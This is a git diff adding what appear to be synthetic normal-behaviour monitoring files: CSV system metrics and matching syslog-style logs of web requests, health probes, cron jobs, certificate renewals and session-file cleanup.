+2025-07-02T12:00:00Z,16.1,39.43,42.84,1.05,1.17 +2025-07-02T12:00:05Z,16.53,40.84,27.46,1.09,0.82 +2025-07-02T12:00:10Z,15.88,39.27,29.5,1.55,0.86 +2025-07-02T12:00:15Z,14.03,40.65,32.22,0.64,0.79 +2025-07-02T12:00:20Z,19.38,40.51,36.59,0.66,0.8 +2025-07-02T12:00:25Z,11.67,35.74,35.21,1.21,0.97 +2025-07-02T12:00:30Z,13.09,36.1,25.61,0.83,1.1 +2025-07-02T12:00:35Z,13.21,38.7,27.89,0.94,0.94 +2025-07-02T12:00:40Z,18.64,40.07,29.67,0.94,1.05 +2025-07-02T12:00:45Z,13.18,41.93,28.04,1.18,0.78 +2025-07-02T12:00:50Z,16.69,37.31,39.86,1.11,0.92 +2025-07-02T12:00:55Z,15.57,36.77,22.66,0.68,0.73 +2025-07-02T12:01:00Z,15.19,37.6,25.48,0.74,0.8 +2025-07-02T12:01:05Z,15.84,39.91,29.31,0.66,1.13 +2025-07-02T12:01:10Z,16.83,37.37,21.42,0.97,0.54 +2025-07-02T12:01:15Z,11.67,39.83,26.44,0.96,1.14 +2025-07-02T12:01:20Z,12.89,36.37,27.88,0.99,0.97 +2025-07-02T12:01:25Z,17.2,36.39,20.42,0.66,0.9 +2025-07-02T12:01:30Z,12.41,43.35,26.11,0.76,1.04 +2025-07-02T12:01:35Z,12.43,42.11,27.09,1.13,1.06 +2025-07-02T12:01:40Z,17.9,40.79,37.0,0.83,0.86 +2025-07-02T12:01:45Z,16.29,41.28,28.97,0.77,0.68 +2025-07-02T12:01:50Z,14.4,39.61,36.23,1.09,0.84 +2025-07-02T12:01:55Z,16.02,37.68,34.1,0.95,0.8 +2025-07-02T12:02:00Z,12.27,35.96,34.02,1.0,1.19 +2025-07-02T12:02:05Z,13.68,38.38,31.07,1.21,0.9 +2025-07-02T12:02:10Z,16.9,39.4,38.97,0.69,0.82 +2025-07-02T12:02:15Z,13.91,42.0,36.74,1.36,0.93 +2025-07-02T12:02:20Z,19.34,36.73,32.81,1.13,0.95 +2025-07-02T12:02:25Z,13.35,41.05,27.7,0.93,0.99 +2025-07-02T12:02:30Z,16.27,39.06,36.31,0.92,1.12 +2025-07-02T12:02:35Z,30.81,41.03,35.58,1.19,1.06 +2025-07-02T12:02:40Z,34.93,42.79,42.11,1.07,0.85 +2025-07-02T12:02:45Z,41.55,39.33,55.25,0.86,0.72 +2025-07-02T12:02:50Z,39.17,36.19,67.71,0.86,0.86 +2025-07-02T12:02:55Z,47.46,38.59,65.71,0.98,0.99 +2025-07-02T12:03:00Z,49.17,39.32,75.27,1.13,0.78 +2025-07-02T12:03:05Z,55.31,41.47,72.66,0.94,0.93 +2025-07-02T12:03:10Z,63.31,38.05,98.19,0.67,1.11 +2025-07-02T12:03:15Z,66.71,43.34,86.96,0.84,1.16 +2025-07-02T12:03:20Z,65.0,40.76,93.25,0.79,0.83 +2025-07-02T12:03:25Z,70.89,41.81,92.76,0.96,0.91 +2025-07-02T12:03:30Z,73.08,41.47,100.0,1.12,1.13 +2025-07-02T12:03:35Z,75.79,38.68,100.0,1.1,0.5 +2025-07-02T12:03:40Z,75.61,38.08,100.0,0.96,0.89 +2025-07-02T12:03:45Z,71.58,40.66,96.52,1.06,0.85 +2025-07-02T12:03:50Z,69.4,39.5,97.92,1.01,0.79 +2025-07-02T12:03:55Z,65.72,40.03,94.92,1.28,1.14 +2025-07-02T12:04:00Z,67.47,38.14,100.0,1.14,0.85 +2025-07-02T12:04:05Z,68.15,38.73,97.52,0.77,0.81 +2025-07-02T12:04:10Z,67.27,37.57,96.81,0.67,0.79 +2025-07-02T12:04:15Z,56.14,41.68,84.95,0.96,1.14 +2025-07-02T12:04:20Z,50.95,36.04,88.44,0.87,0.81 +2025-07-02T12:04:25Z,52.56,38.97,70.54,1.13,0.5 +2025-07-02T12:04:30Z,39.87,41.18,65.77,0.75,0.93 +2025-07-02T12:04:35Z,43.69,39.21,61.02,1.11,1.28 +2025-07-02T12:04:40Z,37.17,37.9,55.67,1.22,1.15 +2025-07-02T12:04:45Z,25.21,38.98,48.72,1.06,0.84 +2025-07-02T12:04:50Z,20.46,39.42,41.34,1.13,0.79 +2025-07-02T12:04:55Z,11.62,40.27,28.84,0.92,0.69 +2025-07-02T12:05:00Z,16.65,38.34,32.6,0.76,0.98 +2025-07-02T12:05:05Z,11.88,41.1,21.63,1.06,1.06 +2025-07-02T12:05:10Z,15.66,42.12,35.33,0.83,0.96 +2025-07-02T12:05:15Z,11.15,39.32,30.54,0.96,1.15 +2025-07-02T12:05:20Z,14.54,40.16,34.47,0.88,1.0 +2025-07-02T12:05:25Z,14.14,39.22,24.06,1.19,1.02 +2025-07-02T12:05:30Z,13.05,41.8,32.59,0.95,1.12 +2025-07-02T12:05:35Z,5.0,39.85,34.04,0.89,0.79 +2025-07-02T12:05:40Z,20.37,37.67,34.25,1.13,0.82 +2025-07-02T12:05:45Z,15.59,36.27,37.88,1.01,0.9 +2025-07-02T12:05:50Z,14.15,42.3,29.49,1.17,0.69 +2025-07-02T12:05:55Z,14.72,42.18,26.66,0.89,0.84 +2025-07-02T12:06:00Z,13.76,43.18,37.54,1.28,0.75 +2025-07-02T12:06:05Z,12.14,41.45,30.01,0.96,0.76 +2025-07-02T12:06:10Z,17.09,40.1,25.23,0.69,0.74 +2025-07-02T12:06:15Z,18.41,39.04,26.1,0.97,0.5 +2025-07-02T12:06:20Z,14.09,36.98,33.64,1.3,0.71 +2025-07-02T12:06:25Z,16.23,42.31,27.23,1.16,0.69 +2025-07-02T12:06:30Z,12.57,40.46,27.37,0.62,0.89 +2025-07-02T12:06:35Z,15.28,39.11,33.33,1.19,0.93 +2025-07-02T12:06:40Z,16.85,41.25,33.34,1.01,0.8 +2025-07-02T12:06:45Z,14.75,45.65,34.77,0.76,0.68 +2025-07-02T12:06:50Z,15.48,41.16,21.36,1.17,0.83 +2025-07-02T12:06:55Z,13.88,41.14,21.23,1.0,1.35 +2025-07-02T12:07:00Z,14.05,39.08,14.81,0.63,0.96 +2025-07-02T12:07:05Z,17.57,40.26,25.66,1.03,0.76 +2025-07-02T12:07:10Z,17.57,43.09,24.98,0.69,0.88 +2025-07-02T12:07:15Z,16.07,38.79,27.21,0.85,1.02 +2025-07-02T12:07:20Z,17.38,38.51,33.53,0.76,0.97 +2025-07-02T12:07:25Z,12.23,39.76,32.8,0.88,0.9 diff --git a/norm_dataset/scenario_4/norm_4_7.log b/norm_dataset/scenario_4/norm_4_7.log new file mode 100644 index 0000000000000000000000000000000000000000..fb4503ff529b1de80a2466f6a7a27728c2c53113 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_7.log @@ -0,0 +1,24 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:30 systemd[1]: Starting Daily apt download activities... +Jul 02 12:02:35 cleanup_script[6544]: INFO: Scanning directories /tmp and /var/log for files older than 7 days. +Jul 02 12:02:35 cleanup_script[6544]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:50 cleanup_script[6544]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:04:50 systemd[1]: daily-clean.service: Succeeded. +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_4/norm_4_8.csv b/norm_dataset/scenario_4/norm_4_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..ee57b8f0403efeaebb037fb5ee1ef5014ed85fc5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T10:00:00Z,11.06,43.5,17.64,0.94,0.98 +2025-08-12T10:00:05Z,16.05,44.74,26.28,0.93,1.12 +2025-08-12T10:00:10Z,13.72,49.39,15.29,0.63,0.62 +2025-08-12T10:00:15Z,16.37,45.76,23.96,1.13,0.82 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+2025-08-12T10:06:50Z,12.48,42.52,18.75,1.13,0.68 +2025-08-12T10:06:55Z,10.57,42.13,15.77,1.09,0.6 +2025-08-12T10:07:00Z,16.25,43.4,19.98,0.92,0.93 +2025-08-12T10:07:05Z,16.03,46.59,29.7,0.77,0.6 +2025-08-12T10:07:10Z,9.91,42.23,12.53,1.26,0.5 +2025-08-12T10:07:15Z,9.65,42.84,22.89,1.07,0.63 +2025-08-12T10:07:20Z,15.48,45.31,23.19,1.06,0.52 +2025-08-12T10:07:25Z,10.52,44.2,30.63,0.82,1.04 diff --git a/norm_dataset/scenario_4/norm_4_8.log b/norm_dataset/scenario_4/norm_4_8.log new file mode 100644 index 0000000000000000000000000000000000000000..20b899c2654d95f406143d13e83a230feb2ac171 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_8.log @@ -0,0 +1,22 @@ +Aug 12 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 12 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 12 10:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 12 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:02:30 CRON[7348]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 12 10:02:30 cleanup_script[8534]: INFO: Starting cleanup_tmp_files.sh. +Aug 12 10:02:55 cleanup_script[8534]: INFO: Scanning directory /tmp/sessions... +Aug 12 10:03:20 cleanup_script[8534]: INFO: Scanning directory /tmp/sessions... +Aug 12 10:03:45 cleanup_script[8534]: INFO: Scanning directory /tmp/sessions... +Aug 12 10:04:10 cleanup_script[8534]: INFO: Scanning directory /tmp/sessions... +Aug 12 10:04:25 cleanup_script[8534]: INFO: Found and deleted 1651 expired session files. +Aug 12 10:04:25 cleanup_script[8534]: INFO: Filesystem cleanup finished. +Aug 12 10:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 12 10:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 12 10:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 12 10:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_9.csv b/norm_dataset/scenario_4/norm_4_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..fe93e3a49b090132402d617797c60a75f3f6dc38 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.67,42.8,23.84,1.04,1.16 +2025-07-03T10:00:05Z,15.79,43.33,27.3,1.16,0.88 +2025-07-03T10:00:10Z,17.71,44.53,33.94,0.86,0.49 +2025-07-03T10:00:15Z,12.7,45.69,18.26,0.89,0.95 +2025-07-03T10:00:20Z,13.83,47.54,25.93,0.71,0.7 +2025-07-03T10:00:25Z,16.44,41.99,17.4,1.13,1.25 +2025-07-03T10:00:30Z,15.01,44.9,21.68,0.92,0.33 +2025-07-03T10:00:35Z,16.25,41.91,26.02,1.06,0.53 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+2025-07-03T10:07:15Z,15.01,45.56,26.72,0.96,1.14 +2025-07-03T10:07:20Z,12.37,39.61,24.53,0.35,0.52 +2025-07-03T10:07:25Z,15.35,46.26,18.21,0.72,0.76 diff --git a/norm_dataset/scenario_4/norm_4_9.log b/norm_dataset/scenario_4/norm_4_9.log new file mode 100644 index 0000000000000000000000000000000000000000..2b7152d2665362e2aecbd0b99e6598266cd350fe --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_9.log @@ -0,0 +1,27 @@ +Jul 03 10:00:00 kubelet[2346]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:00 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:00:35 web-app[1236]: GET /api/v1/user/profile status=200 OK +Jul 03 10:00:50 kubelet[2346]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:10 web-app[1236]: GET /api/v1/user/profile status=200 OK +Jul 03 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:45 web-app[1234]: GET /api/v1/user/profile status=200 OK +Jul 03 10:02:20 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:30 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:02:40 cleanup_script[4815]: INFO: Starting cleanup_tmp_files.sh. +Jul 03 10:02:55 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:03:10 cleanup_script[4815]: INFO: Scanning /tmp for files older than 30 days. +Jul 03 10:03:20 kubelet[2346]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:03:30 web-app[1234]: GET /api/v1/user/profile status=200 OK +Jul 03 10:04:05 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:15 cleanup_script[4815]: INFO: Found and deleted 1528 expired session files. +Jul 03 10:04:30 cleanup_script[4815]: INFO: Cleanup of /tmp finished successfully. +Jul 03 10:04:40 web-app[1236]: GET /api/v1/user/profile status=200 OK +Jul 03 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:15 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:05:50 kubelet[2346]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:50 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:06:25 web-app[1235]: GET /api/v1/user/profile status=200 OK +Jul 03 10:06:40 kubelet[2346]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:00 web-app[1235]: GET /api/v1/user/profile status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_1.csv b/norm_dataset/scenario_5/norm_5_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..bd00e8877bf18ca9be1605395cfbc12ecea1b6f4 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,16.795000297389326,41.71990779428016,23.62314291551202,0.6216112887870429,0.6851640044557032 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+2025-07-02T11:07:25Z,14.541479200214628,42.60915370256327,26.078899681677203,0.9637610828679074,0.7368529410296407 diff --git a/norm_dataset/scenario_5/norm_5_1.log b/norm_dataset/scenario_5/norm_5_1.log new file mode 100644 index 0000000000000000000000000000000000000000..687b41eb613ead2a01382d918477529b7a1e5347 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_1.log @@ -0,0 +1,17 @@ +Jul 02 11:00:31 web-app[1234]: GET /api/v1/user/38 status=200 OK +Jul 02 11:01:05 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 11:01:33 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 02 11:02:03 web-app[1234]: GET /api/v1/user/48 status=200 OK +Jul 02 11:02:24 web-app[1234]: GET /api/v1/user/32 status=200 OK +Jul 02 11:02:53 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 02 11:03:13 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 02 11:03:20 certbot[6789]: INFO Renewing certificate for example.com. +Jul 02 11:03:30 certbot[6789]: INFO Certificate renewal successful. +Jul 02 11:03:35 systemd[1]: Reloading Nginx HTTP server. +Jul 02 11:03:35 nginx[1122]: INFO Reloading configuration. +Jul 02 11:04:14 CRON[5434]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:44 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 11:05:28 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 11:06:10 CRON[5433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:41 CRON[5426]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:07:02 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_10.csv b/norm_dataset/scenario_5/norm_5_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..a8889dc8d4f4fe9a0623d4a5b5b32483c8356c43 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T10:00:00Z,15.99,40.1,26.88,1.29,1.0 +2025-08-12T10:00:05Z,14.72,40.97,22.43,0.71,1.21 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OK +Aug 12 10:02:20 web-app[1007]: GET /api/v1/user/37 status=200 OK +Aug 12 10:02:55 web-app[1624]: GET /api/v1/user/87 status=200 OK +Aug 12 10:02:55 CRON[8866]: (root) CMD (/usr/bin/certbot renew --quiet) +Aug 12 10:03:00 certbot[8867]: INFO Starting certificate renewal process... +Aug 12 10:03:05 certbot[8867]: INFO Renewing certificate for your-domain.com +Aug 12 10:03:15 certbot[8867]: INFO Certificate renewal successful. +Aug 12 10:03:15 certbot[8867]: INFO Reloading nginx service. +Aug 12 10:03:20 systemd[1]: Reloading nginx.service - A high performance web server and a reverse proxy server... +Aug 12 10:03:20 systemd[1]: Reloaded nginx.service - A high performance web server and a reverse proxy server. +Aug 12 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 12 10:03:30 web-app[1007]: GET /api/v1/user/374 status=200 OK +Aug 12 10:04:05 web-app[1007]: GET /api/v1/user/23 status=200 OK +Aug 12 10:04:40 web-app[1624]: GET /api/v1/user/321 status=200 OK +Aug 12 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 12 10:05:15 web-app[1624]: GET /api/v1/user/16 status=200 OK +Aug 12 10:05:50 web-app[1624]: GET /api/v1/user/120 status=200 OK +Aug 12 10:06:25 web-app[1624]: GET /api/v1/user/247 status=200 OK +Aug 12 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 12 10:07:00 web-app[1624]: GET /api/v1/user/248 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_11.csv b/norm_dataset/scenario_5/norm_5_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..e0cbdaf4660be5689a0229f2c02e0028af3a94af --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.372229797915942,37.75431293615094,27.636937506738647,0.936823464176971,0.9848817056226196 +2025-07-02T12:00:05Z,15.699168426397717,39.608158047967834,36.28113324303284,0.9332379199935124,1.1197966554976653 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b/norm_dataset/scenario_5/norm_5_11.log new file mode 100644 index 0000000000000000000000000000000000000000..5a699bf658c24e2cfc68feb3e78662031c6b263f --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_11.log @@ -0,0 +1,45 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:35 certbot[6789]: INFO Renewing certificate for example.com +Jul 02 12:03:40 certbot[6789]: INFO Certificate renewal successful. +Jul 02 12:03:45 certbot[6789]: INFO Reloading nginx service. +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:46 systemd[1]: Reloaded nginx.service - A high performance web server and a reverse proxy server. +Jul 02 12:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_5/norm_5_12.csv b/norm_dataset/scenario_5/norm_5_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..23b636c114596834ef75daed2f0f50e71e428ee9 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T02:00:00Z,16.8,37.27,28.62,0.62,0.65 +2025-08-19T02:00:05Z,18.28,41.09,24.23,0.91,0.91 +2025-08-19T02:00:10Z,18.02,41.42,29.19,0.83,0.81 +2025-08-19T02:00:15Z,15.7,39.27,35.05,0.86,0.86 +2025-08-19T02:00:20Z,18.05,39.8,30.09,1.45,0.4 +2025-08-19T02:00:25Z,18.61,41.17,33.27,0.83,0.99 +2025-08-19T02:00:30Z,16.68,39.79,26.77,1.17,0.46 +2025-08-19T02:00:35Z,14.8,35.03,35.04,1.0,0.69 +2025-08-19T02:00:40Z,17.32,41.08,27.47,1.07,1.0 +2025-08-19T02:00:45Z,13.46,44.3,32.1,1.27,0.51 +2025-08-19T02:00:50Z,13.94,36.69,29.61,0.72,0.62 +2025-08-19T02:00:55Z,16.48,37.67,34.49,0.91,0.87 +2025-08-19T02:01:00Z,15.18,39.68,25.75,1.14,0.86 +2025-08-19T02:01:05Z,15.67,41.06,25.76,1.15,1.11 +2025-08-19T02:01:10Z,18.85,35.77,31.89,0.81,0.68 +2025-08-19T02:01:15Z,14.22,42.74,19.66,0.98,0.58 +2025-08-19T02:01:20Z,15.15,40.34,31.74,1.16,1.33 +2025-08-19T02:01:25Z,13.48,42.64,30.26,1.35,1.19 +2025-08-19T02:01:30Z,12.15,43.42,30.72,0.81,0.89 +2025-08-19T02:01:35Z,14.83,45.42,30.33,0.63,0.86 +2025-08-19T02:01:40Z,15.53,40.09,31.49,1.02,1.01 +2025-08-19T02:01:45Z,15.68,36.91,35.55,1.03,0.56 +2025-08-19T02:01:50Z,12.57,43.35,26.89,1.55,1.11 +2025-08-19T02:01:55Z,16.11,41.66,30.5,0.81,0.77 +2025-08-19T02:02:00Z,14.78,31.24,34.42,0.98,1.1 +2025-08-19T02:02:05Z,16.41,43.96,29.21,1.05,0.88 +2025-08-19T02:02:10Z,14.76,44.27,27.53,1.08,0.45 +2025-08-19T02:02:15Z,16.84,37.09,40.41,0.86,0.66 +2025-08-19T02:02:20Z,14.73,43.21,27.08,0.53,0.92 +2025-08-19T02:02:25Z,18.13,43.44,33.8,0.92,0.93 +2025-08-19T02:02:30Z,17.75,35.03,30.09,1.1,0.56 +2025-08-19T02:02:35Z,16.64,45.15,21.76,0.72,0.9 +2025-08-19T02:02:40Z,13.55,39.24,25.83,1.08,0.97 +2025-08-19T02:02:45Z,14.4,37.08,29.94,1.07,0.71 +2025-08-19T02:02:50Z,12.68,35.18,23.33,0.91,0.85 +2025-08-19T02:02:55Z,16.0,36.48,14.76,0.95,0.83 +2025-08-19T02:03:00Z,16.03,39.9,26.72,0.99,0.34 +2025-08-19T02:03:05Z,15.86,39.48,29.78,1.07,0.91 +2025-08-19T02:03:10Z,15.94,38.68,25.17,1.22,0.78 +2025-08-19T02:03:15Z,13.41,40.37,32.25,0.63,0.95 +2025-08-19T02:03:20Z,15.25,37.24,28.64,1.09,0.88 +2025-08-19T02:03:25Z,13.53,41.53,32.9,0.9,0.8 +2025-08-19T02:03:30Z,14.34,37.36,33.18,1.38,0.88 +2025-08-19T02:03:35Z,15.93,44.81,38.62,1.02,1.0 +2025-08-19T02:03:40Z,12.74,40.45,25.18,0.66,1.02 +2025-08-19T02:03:45Z,14.31,33.96,33.77,1.15,1.12 +2025-08-19T02:03:50Z,14.58,42.67,35.14,7.23,5.82 +2025-08-19T02:03:55Z,14.04,40.57,33.99,6.05,6.34 +2025-08-19T02:04:00Z,16.59,42.38,32.98,7.96,6.91 +2025-08-19T02:04:05Z,15.08,41.39,24.82,8.63,6.56 +2025-08-19T02:04:10Z,47.0,35.52,17.82,8.22,5.27 +2025-08-19T02:04:15Z,39.43,41.81,30.89,1.04,0.75 +2025-08-19T02:04:20Z,43.39,42.68,27.53,0.9,1.08 +2025-08-19T02:04:25Z,53.04,39.85,26.37,0.79,0.79 +2025-08-19T02:04:30Z,35.94,35.38,27.47,1.04,0.49 +2025-08-19T02:04:35Z,16.33,39.94,36.49,1.1,0.62 +2025-08-19T02:04:40Z,17.62,38.19,26.16,0.95,0.78 +2025-08-19T02:04:45Z,16.83,39.42,31.94,0.97,1.06 +2025-08-19T02:04:50Z,15.6,40.72,29.78,1.16,1.04 +2025-08-19T02:04:55Z,12.66,41.57,29.41,1.26,0.77 +2025-08-19T02:05:00Z,11.91,34.75,24.12,1.05,0.86 +2025-08-19T02:05:05Z,18.35,39.87,29.66,1.04,0.68 +2025-08-19T02:05:10Z,15.77,41.53,28.9,0.78,0.96 +2025-08-19T02:05:15Z,17.11,40.83,28.91,0.75,0.97 +2025-08-19T02:05:20Z,15.87,42.64,25.44,1.2,0.7 +2025-08-19T02:05:25Z,15.69,43.76,32.32,0.75,0.73 +2025-08-19T02:05:30Z,14.58,37.78,35.72,0.84,0.51 +2025-08-19T02:05:35Z,14.0,40.68,34.33,1.21,0.85 +2025-08-19T02:05:40Z,16.49,39.32,28.59,1.07,0.69 +2025-08-19T02:05:45Z,14.15,40.3,29.13,1.24,0.7 +2025-08-19T02:05:50Z,9.39,42.44,24.74,1.12,0.72 +2025-08-19T02:05:55Z,13.19,37.06,30.07,1.33,0.71 +2025-08-19T02:06:00Z,16.34,40.44,38.47,0.81,0.53 